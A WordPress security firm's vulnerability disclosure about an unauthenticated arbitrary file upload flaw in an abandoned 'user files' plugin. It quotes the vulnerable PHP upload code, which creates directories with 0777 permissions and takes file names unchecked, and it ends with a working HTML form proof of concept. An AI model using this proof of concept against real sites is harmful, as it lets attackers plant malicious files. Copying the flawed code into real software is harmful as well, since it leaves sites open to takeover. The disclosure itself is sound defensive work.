Our Plugin Security Checker Would Have Warned You About This Arbitrary File Upload Vulnerability in a WordPress Plugin
One of things that we do to make sure that we provide our customers with the best data on vulnerabilities in WordPress plugins is to monitor the WordPress Support Forum for threads that are related to those. Through that we recently ran across a review of the plugin user files that made this claim:
Even the simplest attack as SQL Injection can be done with this.
We then went to look into that claim. While it certainly looks like that is the case, before we got far enough in looking into that to test out what look to be the exploitable SQL injection vulnerabilities in the plugin we noticed a number of more serious issues that possibly existed in the plugin as well. We then turned our focus to the most serious of those, the possibility of an arbitrary file upload vulnerability in the plugin.
Even if you didn’t have our level of expertise you could have spotted the possibility of that issue in this plugin, as that was one of three issues our Plugin Security Checker (which is now accessible through a WordPress plugin of its own) listed as possibly existing in the plugin at the time we were checking over it:
- The plugin may be allowing arbitrary files to be uploaded, which could allow for malicious files to be uploaded.
- User input is being directly output, which could lead to reflected cross-site scripting (XSS).
- User input looks to be being output without being validated, sanitized, or escaped, which could lead to reflected cross-site scripting (XSS).
Subsequently, we improved our SQL injection checks in that to catch some of the possible instances of that in this plugin and added a check based on another possible issue in the plugin.
Looking further into this we confirmed that there is in fact an arbitrary file upload vulnerability in the plugin.
The plugin registers the function uploadHelper() to run when the <head> element of frontend pages of WordPress is being generated:
21 | add_action('wp_head','uploadHelper'); |
The code in that function up to the point when the arbitrary file upload vulnerability occurs is as follows:
1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 | function uploadHelper(){ if (isset($_POST['addfiles'])){ global $wpdb; $upload_dir = wp_upload_dir(); $current_user = wp_get_current_user(); $subDir = $current_user->ID; if (!empty($_POST['curr_cat'])){ $SetCat=$_POST['curr_cat']; }else{ $SetCat=$_POST['widge_cat']; } $usFolder = file_exists ( $upload_dir['basedir'].'/file_uploads/'.$subDir); if (!$usFolder) { mkdir ( $upload_dir['basedir'].'/file_uploads/'. $subDir, 0777 , true ); chmod($upload_dir['basedir'].'/file_uploads/'. $subDir,0777); } $target_path = $upload_dir['basedir'].'/file_uploads/'. $subDir.'/'; $target_path = $target_path . basename($_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { |
If a request is sent to a frontend page of WordPress that contains the POST inputs “addfiles” and “widge_cat” then a file sent along with the request will be uploaded.
The plugin doesn’t appear to be supported anymore as it hasn’t been updated in 5 years.
The plugin appears to contain quite a few other vulnerabilities based on what else was picked up by our Plugin Security Checker and what we saw in the code before we focused on the arbitrary file upload vulnerability.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/file_uploads/0/ when not logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]" method="POST" enctype="multipart/form-data"> <input type="hidden" name="addfiles" /> <input type="hidden" name="widge_cat" /> <input type="file" name="uploadedfile" /> <input type="submit" value="Submit" /> </form> </body>